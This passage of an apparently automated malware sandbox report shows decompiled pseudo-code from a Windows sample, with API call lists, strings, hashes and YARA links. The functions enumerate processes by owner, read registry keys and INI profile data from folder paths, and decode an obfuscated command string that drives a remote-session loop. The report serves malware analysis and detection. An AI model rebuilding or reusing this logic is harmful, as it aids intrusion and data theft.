											_t189 = _t193 + 7;
										}
										_t137 =  *((intOrPtr*)(_t176 + 0x18));
										if( *((intOrPtr*)(_t199 + 0x3c)) !=  *((intOrPtr*)(_t176 + 0x18))) {
											_t189 = _t189 + E0040E271(_t189,  *((intOrPtr*)(_t176 + 0x14)) +  *((intOrPtr*)(_t199 + 0x3c)), _t137 -  *((intOrPtr*)(_t199 + 0x3c)));
										}
										E0040E235( *((intOrPtr*)(_t176 + 0x14)));
										_t139 = _v44;
										 *((intOrPtr*)(_t176 + 0x14)) = _t139;
										 *((intOrPtr*)(_t176 + 0x18)) = _t189 - _t139;
									}
								}
								_v44 = _v44 | 0xffffffff;
								E0040E235(_v48);
							}
							_t153 = 0x422788;
						}
						if(_v52 <= 0) {
							L29:
							if(__eflags == 0) {
								L31:
								 *((intOrPtr*)(_t176 + 0x2c)) =  *((intOrPtr*)(_t176 + 0x14));
								 *((intOrPtr*)(_t176 + 0x30)) =  *((intOrPtr*)(_t176 + 0x18));
								 *((intOrPtr*)(_t176 + 0x34)) = 0;
								 *((intOrPtr*)(_t176 + 0x14)) = 0;
								 *((intOrPtr*)(_t176 + 0x18)) = 0;
								E004086FC( *((intOrPtr*)(_t176 + 0x10)),  *((intOrPtr*)(_t176 + 0xc)));
								_t103 = _v40;
								 *((intOrPtr*)(_t176 + 0x10)) = 0;
								 *((intOrPtr*)(_t176 + 0xc)) = 0;
								goto L32;
							}
							__eflags = _v44 - 0xffffffff;
							if(_v44 != 0xffffffff) {
								goto L37;
							}
							goto L31;
						} else {
							if(_v44 != 0) {
								__eflags = _v52;
								goto L29;
							}
							_push(0);
							_push(0xffffe892);
							goto L36;
						}
					}
					_t149 = _t108 * 0x38 +  *0x4227a4;
					_t156 =  *((intOrPtr*)(_t149 + 0x18)) + _t168;
					_t11 = _t149 + 0x14; // -4335504
					if(E0040E1C0( *((intOrPtr*)(_t149 + 0x18)) + _t168, _t11) == 0) {
						goto L35;
					}
					_t168 = _v52;
					goto L11;
				}
			}

0x00406ceb
0x00406cf1
0x00406cf6
0x00406cfb
0x00406fe8
0x00406fef
0x00000000
0x00406d15
0x00406d1b
0x00406d21
0x00406d23
0x00406d2b
0x00406fe1
0x00406fe2
0x00000000
0x00406fe2
0x00406d34
0x00406d3e
0x00406f7a
0x00406f7d
0x00406f80
0x00406f80
0x00406f83
0x00406f88
0x00406f94
0x00406f99
0x00406f9f
0x00406fa2
0x00406fb0
0x00406fb0
0x00406fb6
0x00406fbc
0x00406ff8
0x00406ffe
0x00406ffe
0x00406d48
0x00000000
0x00000000
0x00406d4f
0x00406d5c
0x00406d62
0x00406d65
0x00406d6c
0x00406fdb
0x00406fdb
0x00000000
0x00406fdb
0x00406d73
0x00406d75
0x00406d7a
0x00406d7f
0x00406fc0
0x00406fc0
0x00406fc2
0x00406fc7
0x00406fc7
0x00406fcd
0x00406fd4
0x00406fd5
0x00000000
0x00406fd5
0x00406d85
0x00406d8b
0x00406daf
0x00406db2
0x00406db8
0x00406dbe
0x00406dcb
0x00406dd0
0x00406dd0
0x00406ddd
0x00406de2
0x00406de9
0x00406e0d
0x00406e12
0x00406e19
0x00406e39
0x00406e46
0x00406e57
0x00406e59
0x00406e5f
0x00406e6e
0x00406e78
0x00406e79
0x00406eb5
0x00406ed5
0x00406eda
0x00406edf
0x00406edf
0x00406e7b
0x00406e7b
0x00406e82
0x00406e84
0x00406e91
0x00406e94
0x00406ea0
0x00406ea3
0x00406ea8
0x00406eac
0x00406eac
0x00406ee1
0x00406ee8
0x00406efd
0x00406efd
0x00406f02
0x00406f07
0x00406f0d
0x00406f10
0x00406f10
0x00406e5f
0x00406f17
0x00406f1c
0x00406f1c
0x00406f21
0x00406f21
0x00406f2c
0x00406f43
0x00406f43
0x00406f50
0x00406f56
0x00406f5c
0x00406f62
0x00406f65
0x00406f68
0x00406f6b
0x00406f70
0x00406f74
0x00406f77
0x00000000
0x00406f77
0x00406f45
0x00406f4a
0x00000000
0x00000000
0x00000000
0x00406f2e
0x00406f32
0x00406f3f
0x00000000
0x00406f3f
0x00406f34
0x00406f35
0x00000000
0x00406f35
0x00406f2c
0x00406d90
0x00406d99
0x00406d9b
0x00406da5
0x00000000
0x00000000
0x00406dab
0x00000000
0x00406dab

APIs

Part of subcall function 0040548D: WaitForSingleObject.KERNEL32(00000000,004094C0,?,?,19367402,00000001), ref: 00405495

EnterCriticalSection.KERNEL32(00422788), ref: 00406D21
LeaveCriticalSection.KERNEL32(00422788), ref: 00406D4F
EnterCriticalSection.KERNEL32(00422788), ref: 00406D73
LeaveCriticalSection.KERNEL32(00422788,00000000,?,00000000), ref: 00406FB6
LeaveCriticalSection.KERNEL32(00422788), ref: 00406FD5

Part of subcall function 00413288: StrCmpNIA.SHLWAPI(00000000,?,?,00000000,?,-004227A4,?,00000000), ref: 004132E2

Part of subcall function 0040E235: HeapFree.KERNEL32(00000000,00000000,0040FA2C,00000000,?,?,?,00404B40,00000000,00405142), ref: 0040E248

LeaveCriticalSection.KERNEL32(00422788), ref: 00406FE2

Strings

%x, xrefs: 00406E7B
0, xrefs: 00406E9B
Content-Length, xrefs: 00406EBF

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Leave$Enter$FreeHeapObjectSingleWait
String ID: 0$%x$Content-Length
API String ID: 4067213518-3838797520
Opcode ID: cb10d0b4f8a390c914d991750ed0a4b6a85a9e181be9aed32ff7f0d2608b64e2
Instruction ID: 4381f22de3febb4155b9f3d7dabc874c2363f988fa626395312ef34d656fddea
Opcode Fuzzy Hash: cb10d0b4f8a390c914d991750ed0a4b6a85a9e181be9aed32ff7f0d2608b64e2
Instruction Fuzzy Hash: AF919071504212AFCB10EF25D98195ABBB8FF84314F010A2EF851A72E1D778E965CBDA

Uniqueness

Uniqueness Score: -1.00%

Function 0041EB01, Relevance: 13.6, APIs: 9, Instructions: 126
processstringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041EB01() {
				char _v664;
				short _v668;
				short _v1192;
				long _v1220;
				char _v1224;
				void* _v1228;
				char _v1232;
				void* _v1236;
				void* _v1240;
				void* _v1244;
				char _v1245;
				signed int _v1248;
				signed int _v1252;
				char _v1253;
				void* __esi;
				void* _t45;
				struct tagPROCESSENTRY32W* _t50;
				void** _t53;
				signed int _t55;
				void* _t56;
				long _t64;
				intOrPtr* _t65;
				void** _t67;
				void** _t68;
				void** _t70;
				long _t75;
				int _t82;
				void** _t84;
				void* _t88;

				_t82 = 0;
				_v1245 = 0;
				_v1240 = 0;
				_v1244 = 0;
				while(1) {
					_t45 = CreateToolhelp32Snapshot(2, _t82);
					_v1236 = _t45;
					_v1240 = _t82;
					if(_t45 == 0xffffffff) {
						break;
					} else {
						_v1224 = 0x22c;
						E00407384(0xd1,  &_v664);
						_t50 =  &_v1224;
						Process32FirstW(_v1236, _t50);
					}
					while(_t50 != 0) {
						_t53 = lstrcmpiW( &_v1192,  &_v668);
						__eflags = _t53;
						if(_t53 == 0) {
							L21:
							_t50 = Process32NextW(_v1240,  &_v1228);
							continue;
						}
						_t75 = _v1220;
						__eflags = _t75 - _t82;
						if(_t75 <= _t82) {
							goto L21;
						}
						__eflags = _t75 -  *0x422518; // 0x0
						if(__eflags == 0) {
							goto L21;
						}
						_t55 = 0;
						__eflags = _v1252 - _t82;
						if(_v1252 <= _t82) {
							L9:
							_t56 = E004052B0(_t75, _t80, _t75);
							_v1240 = _t56;
							__eflags = _t56 - _t82;
							if(_t56 == _t82) {
								goto L21;
							}
							_t88 = OpenProcess(0x400, _t82, _v1220);
							__eflags = _t88 - _t82;
							if(_t88 == _t82) {
								L20:
								CloseHandle(_v1236);
								goto L21;
							}
							_t84 = E0040F84C(_t75, _t88,  &_v1232);
							CloseHandle(_t88);
							__eflags = _t84;
							if(_t84 == 0) {
								L19:
								_t82 = 0;
								__eflags = 0;
								goto L20;
							} else {
								__eflags = _v1232 -  *0x4222b8; // 0x0
								if(__eflags == 0) {
									_t64 = GetLengthSid( *_t84);
									__eflags = _t64 -  *0x4222b0;
									if(_t64 ==  *0x4222b0) {
										_t65 =  *0x4222ac; // 0x0
										_t67 = E0040E2A6( *_t65,  *_t84, _t64);
										__eflags = _t67;
										if(_t67 == 0) {
											_t68 = E0040E1C0(4 + _v1252 * 4,  &_v1248);
											__eflags = _t68;
											if(_t68 != 0) {
												_t80 = _v1252;
												_v1252 = _v1252 + 1;
												_v1244 = _v1244 + 1;
												 *((intOrPtr*)(_v1248 + _v1252 * 4)) = _v1220;
												_t70 = E0041EA78(_v1248, _v1220, _v1236);
												__eflags = _t70;
												if(_t70 != 0) {
													_v1253 = 1;
												}
											}
										}
									}
								}
								E0040E235(_t84);
								goto L19;
							}
						} else {
							goto L7;
						}
						while(1) {
							L7:
							_t80 = _v1248;
							__eflags =  *((intOrPtr*)(_t80 + _t55 * 4)) - _t75;
							if( *((intOrPtr*)(_t80 + _t55 * 4)) == _t75) {
								goto L21;
							}
							_t55 = _t55 + 1;
							__eflags = _t55 - _v1252;
							if(_t55 < _v1252) {
								continue;
							}
							goto L9;
						}
						goto L21;
					}
					CloseHandle(_v1240);
					if(_v1244 != _t82) {
						continue;
					}
					break;
				}
				E0040E235(_v1244);
				return _v1253;
			}

0x0041eb16
0x0041eb18
0x0041eb1d
0x0041eb21
0x0041eb25
0x0041eb28
0x0041eb2e
0x0041eb32
0x0041eb39
0x00000000
0x0041eb3f
0x0041eb4b
0x0041eb53
0x0041eb58
0x0041eb61
0x0041eb61
0x0041ec8c
0x0041eb79
0x0041eb7f
0x0041eb81
0x0041ec7d
0x0041ec86
0x00000000
0x0041ec86
0x0041eb87
0x0041eb8b
0x0041eb8d
0x00000000
0x00000000
0x0041eb93
0x0041eb99
0x00000000
0x00000000
0x0041eb9f
0x0041eba1
0x0041eba5
0x0041ebbb
0x0041ebbc
0x0041ebc1
0x0041ebc5
0x0041ebc7
0x00000000
0x00000000
0x0041ebdd
0x0041ebdf
0x0041ebe1
0x0041ec77
0x0041ec7b
0x00000000
0x0041ec7b
0x0041ebf3
0x0041ebf5
0x0041ebf7
0x0041ebf9
0x0041ec75
0x0041ec75
0x0041ec75
0x00000000
0x0041ebfb
0x0041ebff
0x0041ec05
0x0041ec09
0x0041ec0f
0x0041ec15
0x0041ec1a
0x0041ec21
0x0041ec26
0x0041ec28
0x0041ec39
0x0041ec3e
0x0041ec40
0x0041ec42
0x0041ec52
0x0041ec56
0x0041ec5a
0x0041ec61
0x0041ec66
0x0041ec68
0x0041ec6a
0x0041ec6a
0x0041ec68
0x0041ec40
0x0041ec28
0x0041ec15
0x0041ec70
0x00000000
0x0041ec70
0x00000000
0x00000000
0x00000000
0x0041eba7
0x0041eba7
0x0041eba7
0x0041ebab
0x0041ebae
0x00000000
0x00000000
0x0041ebb4
0x0041ebb5
0x0041ebb9
0x00000000
0x00000000
0x00000000
0x0041ebb9
0x00000000
0x0041eba7
0x0041ec98
0x0041ec9e
0x00000000
0x00000000
0x00000000
0x0041ec9e
0x0041eca8
0x0041ecb7

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0041EB28
Process32FirstW.KERNEL32(?,0000022C), ref: 0041EB61
lstrcmpiW.KERNEL32(?,?), ref: 0041EB79
OpenProcess.KERNEL32(00000400,00000000,?,?), ref: 0041EBD7
CloseHandle.KERNEL32(00000000,00000000,?), ref: 0041EBF5
GetLengthSid.ADVAPI32(00000000), ref: 0041EC09
CloseHandle.KERNEL32(?), ref: 0041EC7B
Process32NextW.KERNEL32(?,0000022C), ref: 0041EC86
CloseHandle.KERNEL32(?), ref: 0041EC98

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHandle$Process32$CreateFirstLengthNextOpenProcessSnapshotToolhelp32lstrcmpi
String ID:
API String ID: 2129540494-0
Opcode ID: b767f2499cf28359a695d581f3b110755cf2ef63ff40ed68a47fbb5a659d6b0c
Instruction ID: 4fcae9570232267e791dea139e3d4e565e0db79eab068b0138bbb4de4a3cc02d
Opcode Fuzzy Hash: b767f2499cf28359a695d581f3b110755cf2ef63ff40ed68a47fbb5a659d6b0c
Instruction Fuzzy Hash: 31418E35508241DBC711EF62CD849ABBBE5FF89304F40092EF895A3260E739D985CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00419F5F, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00419F5F(char* __ecx, char* __edx, void* __eflags) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				char* _v20;
				char _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v64;
				char _v84;
				char _v108;
				char _v152;
				char _v180;
				char _v252;
				short _v766;
				char _v772;
				short _v1292;
				void* __edi;
				void* __esi;
				void* _t46;
				void* _t48;
				void* _t53;
				void* _t57;
				void* _t59;
				void* _t61;
				void* _t68;
				void* _t70;
				void* _t75;
				WCHAR* _t100;
				signed int _t101;
				WCHAR* _t103;
				char* _t108;
				intOrPtr _t109;
				void* _t112;
				intOrPtr _t125;

				_t99 = __edx;
				_t98 = __ecx;
				E0040E2E8( &_v12,  &_v12, 0, 8);
				_t46 = 0x6a;
				E00407384(_t46,  &_v252);
				_t48 = 0x6b;
				E00407384(_t48,  &_v108);
				_t100 =  &_v772;
				_t53 = E004124EB(0x80000001, _t98, _t100,  &_v252,  &_v108, 0x104);
				if(_t53 != 0xffffffff) {
					_t115 = _t53;
					if(_t53 != 0) {
						ExpandEnvironmentStringsW(_t100,  &_v1292, 0x104);
						E00419D73(_t99, _t115,  &_v1292,  &_v12);
						PathRemoveFileSpecW( &_v1292);
					}
				}
				_t101 = 0;
				if(_v8 != 0) {
					L14:
					_t125 = _v8;
					goto L15;
				} else {
					_t57 = 0x6d;
					E00407384(_t57,  &_v64);
					_t59 = 0x6e;
					E00407384(_t59,  &_v152);
					_t108 =  &_v84;
					_t61 = 0x6f;
					E00407384(_t61, _t108);
					_v24 =  &_v64;
					_v20 =  &_v152;
					_v40 = 0x24;
					_v36 = 0x1a;
					_v32 = 0x26;
					_v28 = 0x23;
					_v16 = _t108;
					do {
						_t109 =  *((intOrPtr*)(_t112 + _t101 * 4 - 0x24));
						__imp__SHGetFolderPathW(0, _t109, 0, 0,  &_v772);
						if(0 == 0) {
							_t118 = _t109 - 0x24;
							if(_t109 == 0x24) {
								E00419D31(_t118,  &_v772,  &_v12, 0);
								_v766 = 0;
							}
							_t99 =  &_v24;
							_t98 =  &_v772;
							E00413A0C( &_v772,  &_v24, 0, 3, 2, E00419F16,  &_v12, 0, 0, 0);
						}
						_t101 = _t101 + 1;
					} while (_t101 < 4);
					if(_v8 != 0) {
						L15:
						if(_t125 <= 0) {
							return E0040E235(_v12);
						}
						_push(0xcb);
						return E00418783(_t99, _v12, 0x70);
					}
					_t68 = 0x6a;
					E00407384(_t68,  &_v180);
					_t70 = 0x6c;
					E00407384(_t70,  &_v64);
					_t103 =  &_v772;
					_t75 = E004124EB(0x80000001, _t98, _t103,  &_v180,  &_v64, 0x104);
					if(_t75 != 0xffffffff) {
						_t124 = _t75;
						if(_t75 != 0) {
							ExpandEnvironmentStringsW(_t103,  &_v1292, 0x104);
							E00419D31(_t124,  &_v1292,  &_v12, 1);
						}
					}
					goto L14;
				}
			}

0x00419f5f
0x00419f5f
0x00419f73
0x00419f80
0x00419f81
0x00419f8b
0x00419f8c
0x00419fa1
0x00419fac
0x00419fb4
0x00419fb6
0x00419fb8
0x00419fc5
0x00419fd6
0x00419fe2
0x00419fe2
0x00419fb8
0x00419fe8
0x00419fed
0x0041a10d
0x0041a10d
0x00000000
0x00419ff3
0x00419ff8
0x00419ff9
0x0041a006
0x0041a007
0x0041a00e
0x0041a011
0x0041a012
0x0041a01a
0x0041a023
0x0041a028
0x0041a02f
0x0041a036
0x0041a03d
0x0041a044
0x0041a047
0x0041a047
0x0041a058
0x0041a060
0x0041a062
0x0041a065
0x0041a073
0x0041a07a
0x0041a07a
0x0041a093
0x0041a096
0x0041a09c
0x0041a09c
0x0041a0a1
0x0041a0a2
0x0041a0ab
0x0041a111
0x0041a111
0x00000000
0x0041a128
0x0041a116
0x00000000
0x0041a11e
0x0041a0b5
0x0041a0b6
0x0041a0c0
0x0041a0c1
0x0041a0d1
0x0041a0dc
0x0041a0e4
0x0041a0e6
0x0041a0e8
0x0041a0f5
0x0041a108
0x0041a108
0x0041a0e8
0x00000000
0x0041a0e4

APIs

Part of subcall function 004124EB: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,00000104,00000000,?,?,0041C39E,?,?,00000104,.exe,00000000), ref: 00412500

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,?,?,00000104,?,00000000,00000008,?,00000000,00000001), ref: 00419FC5

Part of subcall function 00419D73: GetPrivateProfileStringW.KERNEL32 ref: 00419DAA
Part of subcall function 00419D73: StrStrIW.SHLWAPI(00000001,?), ref: 00419E32
Part of subcall function 00419D73: StrStrIW.SHLWAPI(00000001,?), ref: 00419E43
Part of subcall function 00419D73: GetPrivateProfileStringW.KERNEL32 ref: 00419E5F
Part of subcall function 00419D73: GetPrivateProfileStringW.KERNEL32 ref: 00419E7D

PathRemoveFileSpecW.SHLWAPI(?,?,?,?,00000000,00000001), ref: 00419FE2

Part of subcall function 0040E235: HeapFree.KERNEL32(00000000,00000000,0040FA2C,00000000,?,?,?,00404B40,00000000,00405142), ref: 0040E248

SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?,?,?,00000104,?,00000000,00000008,?,00000000,00000001), ref: 0041A058
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,?,?,00000104,?,00000000,00000001), ref: 0041A0F5

Strings

$, xrefs: 0041A028
#, xrefs: 0041A03D
&, xrefs: 0041A036

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfileString$EnvironmentExpandPathStrings$FileFolderFreeHeapOpenRemoveSpec
String ID: #$$$&
API String ID: 1517737059-1941049543
Opcode ID: 8c62330c37ea15402005b86592cc616ed828ebce09cbc55f74a978c702a34cb2
Instruction ID: 124343131f75ba4f47b3d6f67ceebf2ac21380a7fd0628343803e6e82b725449
Opcode Fuzzy Hash: 8c62330c37ea15402005b86592cc616ed828ebce09cbc55f74a978c702a34cb2
Instruction Fuzzy Hash: 70516172E00219AAEF20DBA1DC45FDF77BCAB04314F1005A7F905F7181D778AA858B56

Uniqueness

Uniqueness Score: -1.00%

Function 00408B92, Relevance: 12.2, APIs: 6, Strings: 2, Instructions: 239
stringsleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408B92(void* __ecx, CHAR** _a4) {
				char _v492;
				char _v500;
				char _v756;
				char _v816;
				char _v820;
				CHAR** _v824;
				char _v828;
				CHAR* _v832;
				char _v836;
				signed int _v840;
				signed int _v844;
				char _v848;
				char _v852;
				short _v854;
				char _v856;
				char _v860;
				signed int _v861;
				intOrPtr _v864;
				char _v868;
				char _v873;
				void* __edi;
				void* __esi;
				char* _t78;
				int _t81;
				signed int _t89;
				signed int _t92;
				signed char _t97;
				signed int _t99;
				void* _t101;
				CHAR*** _t102;
				signed short _t115;
				signed int _t116;
				intOrPtr _t119;
				signed int _t123;
				void* _t125;
				signed int _t132;
				void* _t134;
				signed int _t140;
				CHAR** _t143;
				CHAR*** _t160;
				signed int _t173;
				void* _t175;

				_t145 = __ecx;
				_t175 = (_t173 & 0xfffffff8) - 0x35c;
				E0040E2E8( &_v756,  &_v756, 0, 0x104);
				lstrcpyA( &_v848, "tpdlt");
				_t78 =  &_v848;
				if(_v848 == 0) {
					L2:
					_t143 = _a4;
					if(lstrcmpiA( *_t143,  &_v836) != 0) {
						_t81 = lstrcmpiA( *_t143, "rfm");
						__eflags = _t81;
						if(_t81 == 0) {
							L12:
							E00405633(_t145,  &_v492);
							_v832 = _t143[1];
							_v828 = E0040E8B4(_t143[2], _t145, 0);
							_v824 = 0;
							_t146 =  &_v492;
							E0040E3B4(_t86 | 0xffffffff,  &_v492,  &_v820, 0, 0x3c);
							while(1) {
								L24:
								_t89 = E00414BBA( &_v828);
								__eflags = _t89;
								if(_t89 == 0) {
									break;
								}
								while(1) {
									_t92 = E00414B3B( &_v828, _t146, 1, 1, 0, 0,  &_v856, 0);
									__eflags = _t92;
									if(_t92 == 0) {
										break;
									}
									__eflags = _v852 - 1;
									if(_v852 != 1) {
										L21:
										E00414B3B( &_v828, _t146, 0, 1, 0, 0, 0, 0);
										__eflags = _v844;
										if(_v844 != 0) {
											E0040FF11(_t146, _v820);
											_v824 = 0;
										}
										Sleep(0x1388);
										goto L24;
									}
									_t97 =  *_v856;
									__eflags = _t97 - 1;
									if(_t97 == 1) {
										L17:
										_t99 = (_t97 & 0x000000ff) - 1;
										__eflags = _t99;
										if(_t99 == 0) {
											Sleep(0x1388);
											continue;
										}
										__eflags = _t99 != 1;
										if(_t99 != 1) {
											continue;
										}
										_t101 = 0x48;
										_t102 = E0040E205(_t101);
										__eflags = _t102;
										if(_t102 != 0) {
											_t35 =  &(_t102[3]); // 0xc
											_t146 = _t35;
											 *_t102 = _t143;
											_t102[1] = 0xfffffffd;
											_t102[2] = 0;
											E00408A03(E0040E271(_t35,  &_v816, 0x3c));
										}
										goto L21;
									}
									__eflags = _t97 - 2;
									if(_t97 != 2) {
										goto L21;
									}
									goto L17;
								}
								goto L21;
							}
							goto L39;
						}
						_t115 = E0040E8B4( *_t143, _t145, 0);
						_t22 = _t115 - 1; // -1
						_t145 = _t22;
						__eflags = _t22 - 0xfffd;
						if(_t22 > 0xfffd) {
							goto L39;
						}
						_t116 = _t115 & 0x0000ffff;
						_v840 = _t116;
						__eflags = _t116;
						if(_t116 == 0) {
							goto L39;
						}
						__eflags = _t116 - 0xfffffffd;
						if(_t116 != 0xfffffffd) {
							goto L4;
						}
						goto L12;
					} else {
						_v840 = _v840 | 0xffffffff;
						L4:
						_t119 = E004113C8(E0040E8B4(_t143[2], _t145, 0), _t145, _t143[1]);
						_v864 = _t119;
						if(_t119 == 0xffffffff) {
							L39:
							E004124C8( &_v756);
							_v861 = 0;
							if(_v756 <= 0) {
								L41:
								E0040E235( *_t143);
								E0040E235(_t143[1]);
								E0040E235(_t143[2]);
								E00411B13(_t143[3]);
								E0040E235(_t143);
								return 0;
							} else {
								goto L40;
							}
							do {
								L40:
								CloseHandle( *(_t175 + 0x7c + (_v861 & 0x000000ff) * 4));
								_v861 = _v861 + 1;
							} while (_v861 < _v756);
							goto L41;
						}
						E00411705(_t145, _t119);
						E004116C3(_v864);
						_t123 = E00405633(_t145,  &_v500);
						_t149 =  &_v500;
						_t125 = E0040F08C(_t123 | 0xffffffff,  &_v500,  &_v868);
						_t181 = _t125;
						if(_t125 == 0) {
							L38:
							E004116AD(_v860);
							goto L39;
						}
						_v873 = E00414A40( &_v500, _v848, _t181, _v860, 1, _v856);
						E0040F07A( &_v868);
						if(_v873 != 0) {
							while(E004115EF(0,  &_v860, 0) == _v864) {
								_t132 = E00414956( &_v856, _t149, _v860,  &_v844);
								__eflags = _t132;
								if(_t132 == 0) {
									goto L38;
								}
								__eflags = _v852 - 2;
								if(_v852 == 2) {
									__eflags = _v854 - 4;
									if(_v854 == 4) {
										_t134 = 0x48;
										_t160 = E0040E205(_t134);
										__eflags = _t160;
										if(_t160 != 0) {
											_t160[1] = _v840;
											 *_t160 = _t143;
											_t160[2] =  *_v844;
											_t140 = E00412483( &_v756, 0x20000, E00408A03, _t160);
											__eflags = _t140;
											if(_t140 == 0) {
												E0040E235(_t160);
											}
										}
										E00412431(_t149,  &_v756);
									}
								}
								E0040E235(_v844);
							}
						}
						goto L38;
					}
				} else {
					goto L1;
				}
				do {
					L1:
					 *_t78 =  *_t78 - 1;
					_t78 = _t78 + 1;
				} while ( *_t78 != 0);
				goto L2;
			}

0x00408b92
0x00408b98
0x00408bb1
0x00408bc0
0x00408bcb
0x00408bcf
0x00408bd9
0x00408bd9
0x00408bed
0x00408c85
0x00408c87
0x00408c89
0x00408cbb
0x00408cc3
0x00408ccb
0x00408cdb
0x00408ce0
0x00408cec
0x00408cf3
0x00408d7f
0x00408d7f
0x00408d83
0x00408d88
0x00408d8a
0x00000000
0x00000000
0x00408da0
0x00408dae
0x00408db3
0x00408db5
0x00000000
0x00000000
0x00408d07
0x00408d0b
0x00408d52
0x00408d5c
0x00408d61
0x00408d65
0x00408d6b
0x00408d70
0x00408d70
0x00408d79
0x00000000
0x00408d79
0x00408d11
0x00408d13
0x00408d15
0x00408d1b
0x00408d1e
0x00408d1e
0x00408d1f
0x00408d9a
0x00000000
0x00408d9a
0x00408d21
0x00408d22
0x00000000
0x00000000
0x00408d26
0x00408d27
0x00408d2c
0x00408d2e
0x00408d37
0x00408d37
0x00408d3b
0x00408d3d
0x00408d44
0x00408d4d
0x00408d4d
0x00000000
0x00408d2e
0x00408d17
0x00408d19
0x00000000
0x00000000
0x00000000
0x00408d19
0x00000000
0x00408dbb
0x00000000
0x00408d90
0x00408c8f
0x00408c94
0x00408c94
0x00408c97
0x00408c9d
0x00000000
0x00000000
0x00408ca3
0x00408ca6
0x00408caa
0x00408cac
0x00000000
0x00000000
0x00408cb2
0x00408cb5
0x00000000
0x00000000
0x00000000
0x00408bf3
0x00408bf3
0x00408bf8
0x00408c05
0x00408c0a
0x00408c11
0x00408e55
0x00408e59
0x00408e63
0x00408e68
0x00408e87
0x00408e89
0x00408e91
0x00408e99
0x00408ea1
0x00408ea7
0x00408eb4
0x00000000
0x00000000
0x00000000
0x00408e6a
0x00408e6a
0x00408e73
0x00408e79
0x00408e81
0x00000000
0x00408e6a
0x00408c18
0x00408c21
0x00408c2e
0x00408c3a
0x00408c41
0x00408c46
0x00408c48
0x00408e4c
0x00408e50
0x00000000
0x00408e50
0x00408c65
0x00408c69
0x00408c73
0x00408e35
0x00408dca
0x00408dcf
0x00408dd1
0x00000000
0x00000000
0x00408dd3
0x00408dd8
0x00408dda
0x00408de0
0x00408de4
0x00408dea
0x00408dec
0x00408dee
0x00408df4
0x00408dfc
0x00408e11
0x00408e14
0x00408e19
0x00408e1b
0x00408e1e
0x00408e1e
0x00408e1b
0x00408e27
0x00408e27
0x00408de0
0x00408e30
0x00408e30
0x00408e35
0x00000000
0x00408c73
0x00000000
0x00000000
0x00000000
0x00408bd1
0x00408bd1
0x00408bd1
0x00408bd3
0x00408bd4
0x00000000

APIs

lstrcpyA.KERNEL32(?,tpdlt,?,00000000,00000104), ref: 00408BC0
lstrcmpiA.KERNEL32(?,00000000), ref: 00408BE9
Sleep.KERNEL32(00001388,00000000,00000001,00000000,00000000,00000000,00000000,00000001,00000001,00000000,00000000,?,00000000,00000000,0000003C,?), ref: 00408D79
Sleep.KERNEL32(00001388,00000001,00000001,00000000,00000000,?,00000000,00000000,0000003C,?), ref: 00408D9A
lstrcmpiA.KERNEL32(?,rfm), ref: 00408C85

Part of subcall function 00414B3B: Sleep.KERNEL32(000003E8,00000000,00000000,00000000,?,?,0041771E,00000000,00000001), ref: 00414B9F

CloseHandle.KERNEL32(?), ref: 00408E73

Strings

rfm, xrefs: 00408C7E
tpdlt, xrefs: 00408BB6

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Sleep$lstrcmpi$CloseHandlelstrcpy
String ID: rfm$tpdlt
API String ID: 2428696232-3994495013
Opcode ID: 9daabf789d27f0f31cb8e35f7cb8eda75edaeea1422e657d9ff11c9e04a38976
Instruction ID: 9f08d0436e4bb7da123e667fa3e77d454245e5868abd3433b9e5a3e3be24ccd3
Opcode Fuzzy Hash: 9daabf789d27f0f31cb8e35f7cb8eda75edaeea1422e657d9ff11c9e04a38976
Instruction Fuzzy Hash: 8E81D371008340AADB20AF21C985A9FBBE8AF85314F14497FF5D4B71E2DB38D945CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040FFBD, Relevance: 12.1, APIs: 4, Strings: 4, Instructions: 121
stringCOMMON

Download Yara Rule

C-Code - Quality: 18%

			E0040FFBD(intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20) {
				char _v8;
				char _v12;
				signed int _v16;
				char _v24;
				signed char _v28;
				char _v32;
				char _v52;
				signed int _t39;
				char* _t42;
				char* _t45;
				char* _t48;
				CHAR* _t50;
				char* _t55;
				CHAR* _t56;
				signed int _t66;
				void* _t67;

				_t39 = _a20 & 0x00000002;
				_t66 = 0x8404f700;
				_v16 = _t39;
				if(_t39 != 0) {
					_t66 = 0x8444f700;
